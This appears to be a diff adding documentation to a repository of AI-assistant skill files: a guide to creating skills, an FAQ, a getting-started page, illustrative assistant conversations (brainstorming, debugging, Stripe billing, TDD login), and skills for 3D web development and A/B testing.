+## How to Create a New Skill
+
+### What Makes a Good Skill?
+
+A skill should:
+- ✅ Solve a specific problem
+- ✅ Be reusable across projects
+- ✅ Have clear instructions
+- ✅ Include examples when possible
+
+### Step-by-Step: Create Your First Skill
+
+#### Step 1: Choose Your Skill Topic
+
+Ask yourself:
+- What am I good at?
+- What do I wish my AI assistant knew better?
+- What task do I do repeatedly?
+
+**Examples:**
+- "I'm good at Docker, let me create a Docker skill"
+- "I wish AI understood Tailwind better"
+- "I keep setting up the same testing patterns"
+
+#### Step 2: Create the Folder Structure
+
+```bash
+# Navigate to the skills directory
+cd skills/
+
+# Create your skill folder (use lowercase with hyphens)
+mkdir my-awesome-skill
+
+# Create the SKILL.md file
+cd my-awesome-skill
+touch SKILL.md
+```
+
+#### Step 3: Write Your SKILL.md
+
+Every skill needs this basic structure:
+
+```markdown
+---
+name: my-awesome-skill
+description: "Brief one-line description of what this skill does"
+---
+
+# Skill Title
+
+## Overview
+
+Explain what this skill does and when to use it.

+```
+
+#### Step 4: Test Your Skill
+
+1. **Copy it to your AI tool's skills directory:**
+   ```bash
+   cp -r skills/my-awesome-skill ~/.agent/skills/
+   ```
+
+2. **Try using it:**
+   ```
+   @my-awesome-skill help me with [task]
+   ```
+
+3. **Does it work?** Great! If not, refine it.
+
+#### Step 5: Validate Your Skill

+# ❓ Frequently Asked Questions (FAQ)
+
+**Got questions?** You're not alone! Here are answers to the most common questions about Antigravity Awesome Skills.
+
+---
+
+## 🎯 General Questions
+
+### What are "skills" exactly?
+
+Skills are specialized instruction files that teach AI assistants how to handle specific tasks. Think of them as expert knowledge modules that your AI can load on-demand.
+
+**Simple analogy:** Just like you might consult different experts (a lawyer, a doctor, a mechanic), skills let your AI become an expert in different areas when you need them.
+
+---
+
+### Do I need to install all 233 skills?
+
+**No!** When you clone the repository, all skills are available, but your AI only loads them when you explicitly invoke them with `@skill-name` or `/skill-name`.
+
+It's like having a library - all the books are there, but you only read the ones you need.
+
+---
+
+### Which AI tools work with these skills?
+
+These skills work with any AI coding assistant that supports the `SKILL.md` format:
+
+- ✅ **Claude Code** (Anthropic CLI)
+- ✅ **Gemini CLI** (Google)
+- ✅ **Codex CLI** (OpenAI)
+- ✅ **Cursor** (AI IDE)
+- ✅ **Antigravity IDE**
+- ✅ **OpenCode**
+- ⚠️ **GitHub Copilot** (partial support)
+
+---
+
+### Are these skills free to use?
+
+**Yes!** This repository is licensed under MIT License, which means:
+
+- ✅ Free for personal use
+- ✅ Free for commercial use
+- ✅ You can modify them
+- ✅ You can redistribute them
+
+---
+
+### Do skills work offline?
+
+The skill files themselves are stored locally on your computer, but your AI assistant needs an internet connection to function. So:
+
+- ✅ Skills are local files
+- ❌ AI assistant needs internet
+
+---
+
+## Installation & Setup
+
+### Where should I install the skills?
+
+The universal path that works with most tools is `.agent/skills/`:
+
+```bash
+git clone https://github.com/sickn33/antigravity-awesome-skills.git .agent/skills
+```
+
+**Tool-specific paths:**
+
+- Claude Code: `.claude/skills/` or `.agent/skills/`
+- Gemini CLI: `.gemini/skills/` or `.agent/skills/`
+- Cursor: `.cursor/skills/` or project root
+- Antigravity: `.agent/skills/`
+
+---
+
+### Can I install skills in multiple projects?
+
+**Yes!** You have two options:
+
+**Option 1: Global Installation** (recommended)
+Install once in your home directory, works for all projects:
+
+```bash
+cd ~
+git clone https://github.com/sickn33/antigravity-awesome-skills.git .agent/skills
+```
+
+**Option 2: Per-Project Installation**
+Install in each project directory:
+
+```bash
+cd /path/to/your/project
+git clone https://github.com/sickn33/antigravity-awesome-skills.git .agent/skills
+```
+
+---
+
+### How do I update skills to the latest version?
+
+Navigate to your skills directory and pull the latest changes:
+
+```bash
+cd .agent/skills
+git pull origin main
+```
+
+---
+
+### Can I install only specific skills?
+
+**Yes!** You can manually copy individual skill folders:
+
+```bash
+# Clone the full repo first
+git clone https://github.com/sickn33/antigravity-awesome-skills.git temp-skills
+
+# Copy only the skills you want
+mkdir -p .agent/skills
+cp -r temp-skills/skills/brainstorming .agent/skills/
+cp -r temp-skills/skills/stripe-integration .agent/skills/
+
+# Clean up
+rm -rf temp-skills
+```
+
+---
+
+## Using Skills
+
+### How do I invoke a skill?
+
+Use the `@` symbol followed by the skill name:
+
+```
+@skill-name your request here
+```
+
+**Examples:**
+
+```
+@brainstorming help me design a todo app
+@stripe-integration add subscription billing
+@systematic-debugging fix this test failure
+```
+
+Some tools also support `/skill-name` syntax.
+
+---
+
+### How do I know which skill to use?
+
+**Method 1: Browse the README**
+Check the [Full Skill Registry](README.md#full-skill-registry-233233) organized by category
+
+**Method 2: Search by keyword**
+
+```bash
+ls skills/ | grep "keyword"
+```
+
+**Method 3: Ask your AI**
+
+```
+What skills are available for [topic]?
+```
+
+---
+
+### Can I use multiple skills at once?
+
+**Yes!** You can invoke multiple skills in the same conversation:
+
+```
+@brainstorming help me design this feature
+
+[After brainstorming...]
+
+@test-driven-development now let's implement it with tests
+```
+
+---
+
+### What if a skill doesn't work?
+
+**Troubleshooting steps:**
+
+1. **Check installation path**
+
+   ```bash
+   ls .agent/skills/
+   ```
+
+2. **Verify skill exists**
+
+   ```bash
+   ls .agent/skills/skill-name/
+   ```
+
+3. **Check SKILL.md exists**
+
+   ```bash
+   cat .agent/skills/skill-name/SKILL.md
+   ```
+
+4. **Try restarting your AI assistant**
+
+5. **Check for typos in skill name**
+   - Use `@brainstorming` not `@brain-storming`
+   - Names are case-sensitive in some tools
+
+6. **Report the issue**
+   [Open an issue](https://github.com/sickn33/antigravity-awesome-skills/issues) with details

+## Technical Questions
+
+### What's the difference between SKILL.md and README.md?
+
+- **SKILL.md** (required): The actual skill definition that the AI reads
+- **README.md** (optional): Human-readable documentation about the skill
+
+The AI primarily uses `SKILL.md`, while developers read `README.md`.
+
+---
+
+### Can I use scripts or code in my skill?
+
+**Yes!** Skills can include:
+
+- `scripts/` - Helper scripts
+- `examples/` - Example code
+- `templates/` - Code templates
+- `references/` - Documentation
+
+Reference them in your `SKILL.md`:
+
+```markdown
+Run the setup script:
+\`\`\`bash
+bash scripts/setup.sh
+\`\`\`
+```
+
+---
+
+### What programming languages can skills cover?
+
+**Any language!** Current skills cover:
+
+- JavaScript/TypeScript
+- Python
+- Go
+- Rust
+- Swift
+- Kotlin
+- Shell scripting
+- And many more...
+
+---
+
+### Can skills call other skills?
+
+**Yes!** Skills can reference other skills:
+
+```markdown
+## Workflow
+
+1. First, use `@brainstorming` to design
+2. Then, use `@writing-plans` to plan
+3. Finally, use `@test-driven-development` to implement
+```
+
+---
+
+### How do I validate my skill before submitting?
+
+Run the validation script:
+
+```bash
+python3 scripts/validate_skills.py
+```
+
+This checks:
+
+- ✅ SKILL.md exists
+- ✅ Frontmatter is valid
+- ✅ Name matches folder name
+- ✅ Description exists
+
+---

+# Getting Started with Antigravity Awesome Skills
+
+**New here? This guide will help you understand and use this repository in 5 minutes!**
+
+---
+
+## 🤔 What Are "Skills"?
+
+Think of skills as **specialized instruction manuals** for AI coding assistants.
+
+**Simple analogy:** Just like you might hire different experts (a designer, a security expert, a marketer), these skills let your AI assistant become an expert in specific areas when you need them.
+
+---
+
+## 📦 What's Inside This Repository?
+
+This repo contains **233 ready-to-use skills** organized in the `skills/` folder. Each skill is a folder with at least one file: `SKILL.md`
+
+```
+skills/
+├── brainstorming/
+│   └── SKILL.md          ← The skill definition
+├── stripe-integration/
+│   └── SKILL.md
+├── react-best-practices/
+│   └── SKILL.md
+└── ... (176 more skills)
+```
+
+---
+
+## How Do Skills Work?
+
+### Step 1: Install Skills
+
+Copy the skills to your AI tool's directory:
+
+```bash
+# For most AI tools (Claude Code, Gemini CLI, etc.)
+git clone https://github.com/sickn33/antigravity-awesome-skills.git .agent/skills
+```
+
+### Step 2: Use a Skill
+
+In your AI chat, mention the skill:
+
+```
+@brainstorming help me design a todo app
+```
+
+or
+
+```
+/stripe-integration add payment processing to my app
+```
+
+### Step 3: The AI Becomes an Expert
+
+The AI loads that skill's knowledge and helps you with specialized expertise!
+
+---
+
+## Which AI Tools Work With This?
+
+| Tool                | Works?     | Installation Path                     |

+**Learn by example!** This guide shows you real conversations using different skills.

+
+## Example 1: Designing a Feature with @brainstorming
+
+### The Scenario
+You want to add a "dark mode" feature to your app, but you're not sure how to approach it.
+
+### The Conversation
+
+```
+You: @brainstorming I want to add dark mode to my React app
+
+AI: Great! Let me help you think through this. First, let me check your 
+    current project structure...
+    
+    [AI examines your files]
+    
+    I see you're using React with Tailwind CSS. Now, let's understand 
+    your requirements:
+    
+    What's your primary goal for dark mode?
+    a) User preference (toggle in settings)
+    b) System preference (follow OS setting)
+    c) Both (with manual override)
+
+You: c) Both
+
+AI: Perfect! That's the best user experience. Next question:
+    
+    Where should the dark mode toggle be located?
+    a) In the main navigation
+    b) In a settings page
+    c) In a dropdown menu
+    d) Multiple locations
+
+You: a) In the main navigation
+
+AI: Good choice for accessibility. One more question:
+    
+    Should dark mode preference persist across sessions?
+    a) Yes, save to localStorage
+    b) Yes, save to user account (requires backend)
+    c) No, reset each session
+
+You: a) Yes, save to localStorage
+
+AI: Excellent! Now I have a clear picture. Let me present the design...
+    
+    ## Dark Mode Implementation Design
+    
+    ### Architecture Overview
+    We'll use React Context for state management, Tailwind's dark mode
+    utilities, and localStorage for persistence. The system will:
+    1. Check OS preference on first visit
+    2. Allow manual override via toggle
+    3. Persist preference in localStorage
+    
+    Does this approach look good so far?
+
+You: Yes, continue
+
+AI: [Continues with detailed design sections...]
+    
+    [After design is complete]
+    
+    I've saved the design to docs/plans/2026-01-20-dark-mode-design.md
+    
+    Ready to set up for implementation?
+
+You: Yes
+
+AI: I'll create an isolated workspace using git worktrees and write an
+    implementation plan. One moment...
+```
+
+### What Happened
+- ✅ AI asked focused questions one at a time
+- ✅ Explored your specific context
+- ✅ Presented design in sections
+- ✅ Saved documentation
+- ✅ Prepared for implementation

+## Example 2: Debugging with @systematic-debugging
+
+### The Scenario
+Your tests are failing, but you're not sure why.
+
+### The Conversation
+
+```
+You: @systematic-debugging My tests are failing with "Cannot read property 
+     'map' of undefined"
+
+AI: Let me help you debug this systematically. First, I'll gather information:
+    
+    1. Running the failing test to see the full error...
+    
+    [AI runs: npm test]
+    
+    I see the error occurs in UserList.test.tsx at line 45. Let me examine
+    the test file and the component...
+    
+    [AI reads both files]
+    
+    ## Hypothesis
+    The test is failing because `users` prop is undefined when the component
+    renders. This suggests the mock data isn't being passed correctly.
+    
+    ## Verification
+    Let me check the test setup...
+    
+    [AI examines test]
+    
+    Found it! The test is calling:
+    ```typescript
+    render(<UserList />)
+    ```
+    
+    But UserList requires a `users` prop. The component expects:
+    ```typescript
+    interface UserListProps {
+      users: User[];
+    }
+    ```
+    
+    ## Solution
+    The test should pass the users prop:
+    ```typescript
+    const mockUsers = [
+      { id: 1, name: 'Alice' },
+      { id: 2, name: 'Bob' }
+    ];
+    
+    render(<UserList users={mockUsers} />)
+    ```
+    
+    Should I apply this fix?
+
+You: Yes
+
+AI: [Applies fix and runs tests]
+    
+    ✅ All tests passing!
+    
+    ## Root Cause
+    The test was missing required props. This is a common issue when
+    components are refactored to require props that were previously optional.
+    
+    ## Prevention
+    Consider adding TypeScript strict mode to catch these at compile time:
+    ```json
+    "strict": true,
+    "strictNullChecks": true
+    ```
+    
+    Would you like me to add this to your tsconfig.json?

+## Example 3: Adding Payments with @stripe-integration
+
+### The Scenario
+You need to add subscription billing to your SaaS app.
+
+### The Conversation
+
+```
+You: @stripe-integration I need to add monthly subscription billing
+
+AI: I'll help you implement Stripe subscriptions. Let me understand your
+    requirements:
+    
+    Current stack detected:
+    - Next.js 14 (App Router)
+    - TypeScript
+    - Prisma with PostgreSQL
+    
+    For subscription billing, we'll need:
+    
+    1. **Stripe Setup**
+       - Stripe account and API keys
+       - Webhook endpoint for events
+       - Product and price IDs
+    
+    2. **Backend Implementation**
+       - API routes for checkout
+       - Webhook handler
+       - Database schema for subscriptions
+    
+    3. **Frontend Implementation**
+       - Pricing page
+       - Checkout flow
+       - Subscription management
+    
+    Let's start with the backend. First, install dependencies:
+    
+    ```bash
+    npm install stripe @stripe/stripe-js
+    ```
+    
+    Now, let's create the database schema...
+    
+    [AI provides Prisma schema]
+    
+    ```prisma
+    model User {
+      id                 String    @id @default(cuid())
+      email              String    @unique
+      stripeCustomerId   String?   @unique
+      subscriptions      Subscription[]
+    }
+    
+    model Subscription {
+      id                 String    @id @default(cuid())
+      userId             String
+      user               User      @relation(fields: [userId], references: [id])
+      stripeSubscriptionId String  @unique
+      status             String
+      priceId            String
+      currentPeriodEnd   DateTime
+      createdAt          DateTime  @default(now())
+      updatedAt          DateTime  @updatedAt
+    }
+    ```
+    
+    Next, let's create the checkout API route...
+    
+    [AI provides complete implementation with:]
+    - API route for creating checkout sessions
+    - Webhook handler for subscription events
+    - Helper functions for Stripe operations
+    - Error handling and logging
+    - TypeScript types
+    
+    Now for the frontend...
+    
+    [AI provides:]
+    - Pricing page component
+    - Checkout button component
+    - Subscription status display
+    - Tailwind styling
+    
+    Finally, let's set up the webhook:
+    
+    1. In Stripe Dashboard, add webhook endpoint:
+       `https://yourdomain.com/api/webhooks/stripe`
+    
+    2. Select these events:
+       - customer.subscription.created
+       - customer.subscription.updated
+       - customer.subscription.deleted
+       - invoice.payment_succeeded
+       - invoice.payment_failed
+    
+    3. Copy the webhook secret to your .env:
+       ```
+       STRIPE_WEBHOOK_SECRET=whsec_...
+       ```
+    
+    ## Testing
+    
+    Test locally with Stripe CLI:
+    ```bash
+    stripe listen --forward-to localhost:3000/api/webhooks/stripe
+    stripe trigger customer.subscription.created
+    ```
+    
+    ## Security Checklist
+    - ✅ API keys in environment variables
+    - ✅ Webhook signature verification
+    - ✅ Server-side price validation
+    - ✅ Idempotency keys for operations
+

+## Example 5: Test-Driven Development with @test-driven-development
+
+### The Scenario
+You need to implement a new feature: user authentication.
+
+### The Conversation
+
+```
+You: @test-driven-development I need to implement user login functionality
+
+AI: Perfect! Let's use TDD to build this. Following the Red-Green-Refactor
+    cycle, we'll write tests first, then implement.
+    
+    ## Step 1: Write the First Test (RED)
+    
+    Let's start with the simplest case - successful login:
+    
+    ```typescript
+    // auth.test.ts
+    import { login } from './auth';
+    
+    describe('login', () => {
+      it('should return user data for valid credentials', async () => {
+        const result = await login({
+          email: 'user@example.com',
+          password: 'correct-password'
+        });
+        
+        expect(result.success).toBe(true);
+        expect(result.user).toHaveProperty('id');
+        expect(result.user).toHaveProperty('email');
+        expect(result.token).toBeDefined();
+      });
+    });
+    ```
+    
+    Let's run this test to see it fail:
+    
+    [AI runs: npm test]
+    
+    ✅ Test fails as expected (auth.ts doesn't exist yet)
+    
+    ## Step 2: Write Minimal Implementation (GREEN)
+    
+    Now let's write just enough code to make this test pass:
+    
+    ```typescript
+    // auth.ts
+    interface LoginCredentials {
+      email: string;
+      password: string;
+    }
+    
+    interface LoginResult {
+      success: boolean;
+      user?: {
+        id: string;
+        email: string;
+      };
+      token?: string;
+    }
+    
+    export async function login(
+      credentials: LoginCredentials
+    ): Promise<LoginResult> {
+      // Minimal implementation to pass the test
+      return {
+        success: true,
+        user: {
+          id: '1',
+          email: credentials.email
+        },
+        token: 'fake-token'
+      };
+    }
+    ```
+    
+    [AI runs: npm test]
+    
+    ✅ Test passes!
+    
+    ## Step 3: Add Next Test (RED)
+    
+    Now let's test the failure case:
+    
+    ```typescript
+    it('should return error for invalid credentials', async () => {
+      const result = await login({
+        email: 'user@example.com',
+        password: 'wrong-password'
+      });
+      
+      expect(result.success).toBe(false);
+      expect(result.error).toBe('Invalid credentials');
+      expect(result.user).toBeUndefined();
+      expect(result.token).toBeUndefined();
+    });
+    ```
+    
+    [AI runs: npm test]
+    
+    ❌ Test fails (always returns success)
+    
+    ## Step 4: Implement Real Logic (GREEN)
+    
+    Now let's add actual authentication:
+    
+    ```typescript
+    import bcrypt from 'bcrypt';
+    import jwt from 'jsonwebtoken';
+    import { db } from './db';
+    
+    export async function login(
+      credentials: LoginCredentials
+    ): Promise<LoginResult> {
+      // Find user
+      const user = await db.user.findUnique({
+        where: { email: credentials.email }
+      });
+      
+      if (!user) {
+        return {
+          success: false,
+          error: 'Invalid credentials'
+        };
+      }
+      
+      // Verify password
+      const validPassword = await bcrypt.compare(
+        credentials.password,
+        user.passwordHash
+      );
+      
+      if (!validPassword) {
+        return {
+          success: false,
+          error: 'Invalid credentials'
+        };
+      }
+      
+      // Generate token
+      const token = jwt.sign(
+        { userId: user.id },
+        process.env.JWT_SECRET!,
+        { expiresIn: '7d' }
+      );
+      
+      return {
+        success: true,
+        user: {
+          id: user.id,
+          email: user.email
+        },
+        token
+      };
+    }
+    ```
+    
+    [AI runs: npm test]
+    
+    ✅ All tests pass!
+    
+    ## Step 5: Add Edge Cases
+    
+    Let's add more tests for edge cases:
+    
+    ```typescript
+    it('should handle missing email', async () => {
+      const result = await login({
+        email: '',
+        password: 'password'
+      });
+      
+      expect(result.success).toBe(false);
+      expect(result.error).toBe('Email is required');
+    });
+    
+    it('should handle missing password', async () => {
+      const result = await login({
+        email: 'user@example.com',
+        password: ''
+      });
+      
+      expect(result.success).toBe(false);
+      expect(result.error).toBe('Password is required');
+    });
+    
+    it('should handle database errors gracefully', async () => {
+      // Mock database error
+      jest.spyOn(db.user, 'findUnique').mockRejectedValue(
+        new Error('Database connection failed')
+      );
+      
+      const result = await login({
+        email: 'user@example.com',
+        password: 'password'
+      });
+      
+      expect(result.success).toBe(false);
+      expect(result.error).toBe('An error occurred');
+    });
+    ```
+    
+    [AI implements validation and error handling]
+    
+    ## Step 6: Refactor (REFACTOR)
+    
+    Now that all tests pass, let's refactor for better code quality:
+    
+    ```typescript
+    // Extract validation
+    function validateCredentials(credentials: LoginCredentials): string | null {
+      if (!credentials.email) return 'Email is required';
+      if (!credentials.password) return 'Password is required';
+      return null;
+    }
+    
+    // Extract user verification
+    async function verifyUser(
+      email: string,
+      password: string
+    ): Promise<User | null> {
+      const user = await db.user.findUnique({ where: { email } });
+      if (!user) return null;
+      
+      const valid = await bcrypt.compare(password, user.passwordHash);
+      return valid ? user : null;
+    }
+    
+    // Main function is now cleaner
+    export async function login(
+      credentials: LoginCredentials
+    ): Promise<LoginResult> {
+      try {
+        const validationError = validateCredentials(credentials);
+        if (validationError) {
+          return { success: false, error: validationError };
+        }
+        
+        const user = await verifyUser(
+          credentials.email,
+          credentials.password
+        );
+        
+        if (!user) {
+          return { success: false, error: 'Invalid credentials' };
+        }
+        
+        const token = generateToken(user.id);
+        
+        return {
+          success: true,
+          user: { id: user.id, email: user.email },
+          token
+        };
+      } catch (error) {
+        console.error('Login error:', error);
+        return { success: false, error: 'An error occurred' };
+      }
+    }
+    ```
+    
+    [AI runs: npm test]
+    
+    ✅ All tests still pass after refactoring!
+    
+    ## Summary
+    
+    We've implemented login functionality using TDD:
+    - ✅ 5 tests covering happy path, errors, and edge cases
+    - ✅ Clean, testable code
+    - ✅ Proper error handling
+    - ✅ Type safety with TypeScript
+    
+    Next steps:
+    1. Add rate limiting tests
+    2. Add session management tests
+    3. Add logout functionality
+    
+    Should I continue with these?

+# 3D Web Experience
+
+**Role**: 3D Web Experience Architect
+
+You bring the third dimension to the web. You know when 3D enhances
+and when it's just showing off. You balance visual impact with
+performance. You make 3D accessible to users who've never touched
+a 3D app. You create moments of wonder without sacrificing usability.
+
+## Capabilities
+
+- Three.js implementation
+- React Three Fiber
+- WebGL optimization
+- 3D model integration
+- Spline workflows
+- 3D product configurators
+- Interactive 3D scenes
+- 3D performance optimization
+
+## Patterns
+
+### 3D Stack Selection
+
+Choosing the right 3D approach
+
+**When to use**: When starting a 3D web project
+
+```python
+## 3D Stack Selection
+
+### Options Comparison
+| Tool | Best For | Learning Curve | Control |
+|------|----------|----------------|---------|
+| Spline | Quick prototypes, designers | Low | Medium |
+| React Three Fiber | React apps, complex scenes | Medium | High |
+| Three.js vanilla | Max control, non-React | High | Maximum |
+| Babylon.js | Games, heavy 3D | High | Maximum |
+
+### Decision Tree
+```
+Need quick 3D element?
+└── Yes → Spline
+└── No → Continue
+
+Using React?
+└── Yes → React Three Fiber
+└── No → Continue
+
+Need max performance/control?
+└── Yes → Three.js vanilla
+└── No → Spline or R3F
+```
+
+### Spline (Fastest Start)
+```jsx
+import Spline from '@splinetool/react-spline';
+
+export default function Scene() {
+  return (
+    <Spline scene="https://prod.spline.design/xxx/scene.splinecode" />
+  );
+}
+```
+
+### React Three Fiber
+```jsx
+import { Canvas } from '@react-three/fiber';
+import { OrbitControls, useGLTF } from '@react-three/drei';
+
+function Model() {
+  const { scene } = useGLTF('/model.glb');
+  return <primitive object={scene} />;
+}
+
+export default function Scene() {
+  return (
+    <Canvas>
+      <ambientLight />
+      <Model />
+      <OrbitControls />
+    </Canvas>
+  );
+}
+```
+```
+
+### 3D Model Pipeline
+
+Getting models web-ready
+
+**When to use**: When preparing 3D assets
+
+```python
+## 3D Model Pipeline
+
+### Format Selection
+| Format | Use Case | Size |
+|--------|----------|------|
+| GLB/GLTF | Standard web 3D | Smallest |
+| FBX | From 3D software | Large |
+| OBJ | Simple meshes | Medium |
+| USDZ | Apple AR | Medium |
+
+### Optimization Pipeline
+```
+1. Model in Blender/etc
+2. Reduce poly count (< 100K for web)
+3. Bake textures (combine materials)
+4. Export as GLB
+5. Compress with gltf-transform
+6. Test file size (< 5MB ideal)
+```
+
+### GLTF Compression
+```bash
+# Install gltf-transform
+npm install -g @gltf-transform/cli
+
+# Compress model
+gltf-transform optimize input.glb output.glb \
+  --compress draco \
+  --texture-compress webp
+```
+
+### Loading in R3F
+```jsx
+import { useGLTF, useProgress, Html } from '@react-three/drei';
+import { Suspense } from 'react';
+
+function Loader() {
+  const { progress } = useProgress();
+  return <Html center>{progress.toFixed(0)}%</Html>;
+}
+
+export default function Scene() {
+  return (
+    <Canvas>
+      <Suspense fallback={<Loader />}>
+        <Model />
+      </Suspense>
+    </Canvas>
+  );
+}
+```
+```
+
+### Scroll-Driven 3D
+
+3D that responds to scroll
+
+**When to use**: When integrating 3D with scroll
+
+```python
+## Scroll-Driven 3D
+
+### R3F + Scroll Controls
+```jsx
+import { ScrollControls, useScroll } from '@react-three/drei';
+import { useFrame } from '@react-three/fiber';
+
+function RotatingModel() {
+  const scroll = useScroll();
+  const ref = useRef();
+
+  useFrame(() => {
+    // Rotate based on scroll position
+    ref.current.rotation.y = scroll.offset * Math.PI * 2;
+  });
+
+  return <mesh ref={ref}>...</mesh>;
+}
+
+export default function Scene() {
+  return (
+    <Canvas>
+      <ScrollControls pages={3}>
+        <RotatingModel />
+      </ScrollControls>
+    </Canvas>
+  );
+}
+```
+
+### GSAP + Three.js
+```javascript
+import gsap from 'gsap';
+import ScrollTrigger from 'gsap/ScrollTrigger';
+
+gsap.to(camera.position, {
+  scrollTrigger: {
+    trigger: '.section',
+    scrub: true,
+  },
+  z: 5,
+  y: 2,
+});
+```
+
+### Common Scroll Effects
+- Camera movement through scene
+- Model rotation on scroll
+- Reveal/hide elements
+- Color/material changes
+- Exploded view animations
+```
+
+## Anti-Patterns
+
+### ❌ 3D For 3D's Sake
+
+**Why bad**: Slows down the site.
+Confuses users.
+Battery drain on mobile.
+Doesn't help conversion.
+
+**Instead**: 3D should serve a purpose.
+Product visualization = good.
+Random floating shapes = probably not.
+Ask: would an image work?
+
+### ❌ Desktop-Only 3D
+
+**Why bad**: Most traffic is mobile.
+Kills battery.
+Crashes on low-end devices.
+Frustrated users.
+
+**Instead**: Test on real mobile devices.
+Reduce quality on mobile.
+Provide static fallback.
+Consider disabling 3D on low-end.
+
+### ❌ No Loading State
+
+**Why bad**: Users think it's broken.
+High bounce rate.
+3D takes time to load.
+Bad first impression.
+
+**Instead**: Loading progress indicator.
+Skeleton/placeholder.
+Load 3D after page is interactive.
+Optimize model size.

+name: ab-test-setup
+description: When the user wants to plan, design, or implement an A/B test or experiment. Also use when the user mentions "A/B test," "split test," "experiment," "test this change," "variant copy," "multivariate test," or "hypothesis." For tracking implementation, see analytics-tracking.
+---
+
+# A/B Test Setup
+
+You are an expert in experimentation and A/B testing. Your goal is to help design tests that produce statistically valid, actionable results.
+
+## Initial Assessment
+
+Before designing a test, understand:
+
+1. **Test Context**
+   - What are you trying to improve?
+   - What change are you considering?
+   - What made you want to test this?
+
+2. **Current State**
+   - Baseline conversion rate?
+   - Current traffic volume?
+   - Any historical test data?
+
+3. **Constraints**
+   - Technical implementation complexity?
+   - Timeline requirements?
+   - Tools available?
+
+---
+
+## Core Principles
+
+### 1. Start with a Hypothesis
+- Not just "let's see what happens"
+- Specific prediction of outcome
+- Based on reasoning or data
+
+### 2. Test One Thing
+- Single variable per test
+- Otherwise you don't know what worked
+- Save MVT for later
+
+### 3. Statistical Rigor
+- Pre-determine sample size
+- Don't peek and stop early
+- Commit to the methodology
+
+### 4. Measure What Matters
+- Primary metric tied to business value
+- Secondary metrics for context
+- Guardrail metrics to prevent harm
+
+---
+
+## Hypothesis Framework
+
+### Structure
+
+```
+Because [observation/data],
+we believe [change]
+will cause [expected outcome]
+for [audience].
+We'll know this is true when [metrics].
+```
+
+### Examples
+
+**Weak hypothesis:**
+"Changing the button color might increase clicks."
+
+**Strong hypothesis:**
+"Because users report difficulty finding the CTA (per heatmaps and feedback), we believe making the button larger and using contrasting color will increase CTA clicks by 15%+ for new visitors. We'll measure click-through rate from page view to signup start."
+
+### Good Hypotheses Include
+
+- **Observation**: What prompted this idea
+- **Change**: Specific modification
+- **Effect**: Expected outcome and direction
+- **Audience**: Who this applies to
+- **Metric**: How you'll measure success
+
+---
+
+## Test Types
+
+### A/B Test (Split Test)
+- Two versions: Control (A) vs. Variant (B)
+- Single change between versions
+- Most common, easiest to analyze
+
+### A/B/n Test
+- Multiple variants (A vs. B vs. C...)
+- Requires more traffic
+- Good for testing several options
+
+### Multivariate Test (MVT)
+- Multiple changes in combinations
+- Tests interactions between changes
+- Requires significantly more traffic
+- Complex analysis
+
+### Split URL Test
+- Different URLs for variants
+- Good for major page changes
+- Easier implementation sometimes
+
+---
+
+## Sample Size Calculation
+
+### Inputs Needed
+
+1. **Baseline conversion rate**: Your current rate
+2. **Minimum detectable effect (MDE)**: Smallest change worth detecting
+3. **Statistical significance level**: Usually 95%
+4. **Statistical power**: Usually 80%
+
+### Quick Reference
+
+| Baseline Rate | 10% Lift | 20% Lift | 50% Lift |
+|---------------|----------|----------|----------|
+| 1% | 150k/variant | 39k/variant | 6k/variant |
+| 3% | 47k/variant | 12k/variant | 2k/variant |
+| 5% | 27k/variant | 7k/variant | 1.2k/variant |
+| 10% | 12k/variant | 3k/variant | 550/variant |
+
+### Formula Resources
+- Evan Miller's calculator: https://www.evanmiller.org/ab-testing/sample-size.html
+- Optimizely's calculator: https://www.optimizely.com/sample-size-calculator/
+
+### Test Duration
+
+```
+Duration = Sample size needed per variant × Number of variants
+           ───────────────────────────────────────────────────
+           Daily traffic to test page × Conversion rate
+```
+
+Minimum: 1-2 business cycles (usually 1-2 weeks)
+Maximum: Avoid running too long (novelty effects, external factors)
+
+---
+
+## Metrics Selection
+
+### Primary Metric
+- Single metric that matters most
+- Directly tied to hypothesis
+- What you'll use to call the test
+
+### Secondary Metrics
+- Support primary metric interpretation
+- Explain why/how the change worked
+- Help understand user behavior
+
+### Guardrail Metrics
+- Things that shouldn't get worse
+- Revenue, retention, satisfaction
+- Stop test if significantly negative
+
+### Metric Examples by Test Type
+
+**Homepage CTA test:**
+- Primary: CTA click-through rate
+- Secondary: Time to click, scroll depth
+- Guardrail: Bounce rate, downstream conversion
+
+**Pricing page test:**
+- Primary: Plan selection rate
+- Secondary: Time on page, plan distribution
+- Guardrail: Support tickets, refund rate
+
+**Signup flow test:**
+- Primary: Signup completion rate
+- Secondary: Field-level completion, time to complete
+- Guardrail: User activation rate (post-signup quality)
+
+---
+
+## Designing Variants
+
+### Control (A)
+- Current experience, unchanged
+- Don't modify during test
+
+### Variant (B+)
+
+**Best practices:**
+- Single, meaningful change
+- Bold enough to make a difference
+- True to the hypothesis
+
+**What to vary:**
+
+Headlines/Copy:
+- Message angle
+- Value proposition
+- Specificity level
+- Tone/voice
+
+Visual Design:
+- Layout structure
+- Color and contrast
+- Image selection
+- Visual hierarchy
+
+CTA:
+- Button copy
+- Size/prominence
+- Placement
+- Number of CTAs
+
+Content:
+- Information included
+- Order of information
+- Amount of content
+- Social proof type
+
+### Documenting Variants
+
+```
+Control (A):
+- Screenshot
+- Description of current state
+
+Variant (B):
+- Screenshot or mockup
+- Specific changes made
+- Hypothesis for why this will win
+```
+
+---
+
+## Traffic Allocation
+
+### Standard Split
+- 50/50 for A/B test
+- Equal split for multiple variants
+
+### Conservative Rollout
+- 90/10 or 80/20 initially
+- Limits risk of bad variant
+- Longer to reach significance
+
+### Ramping
+- Start small, increase over time
+- Good for technical risk mitigation
+- Most tools support this
+
+### Considerations
+- Consistency: Users see same variant on return
+- Segment sizes: Ensure segments are large enough
+- Time of day/week: Balanced exposure
+
+---
+
+## Implementation Approaches
+
+### Client-Side Testing
+
+**Tools**: PostHog, Optimizely, VWO, custom
+
+**How it works**:
+- JavaScript modifies page after load
+- Quick to implement
+- Can cause flicker
+
+**Best for**:
+- Marketing pages
+- Copy/visual changes
+- Quick iteration
+
+### Server-Side Testing
+
+**Tools**: PostHog, LaunchDarkly, Split, custom
+
+**How it works**:
+- Variant determined before page renders
+- No flicker
+- Requires development work
+
+**Best for**:
+- Product features
+- Complex changes
+- Performance-sensitive pages
+
+### Feature Flags
+
+- Binary on/off (not true A/B)
+- Good for rollouts
+- Can convert to A/B with percentage split
+
+---
+
+## Running the Test
+
+### Pre-Launch Checklist
+
+- [ ] Hypothesis documented
+- [ ] Primary metric defined
+- [ ] Sample size calculated
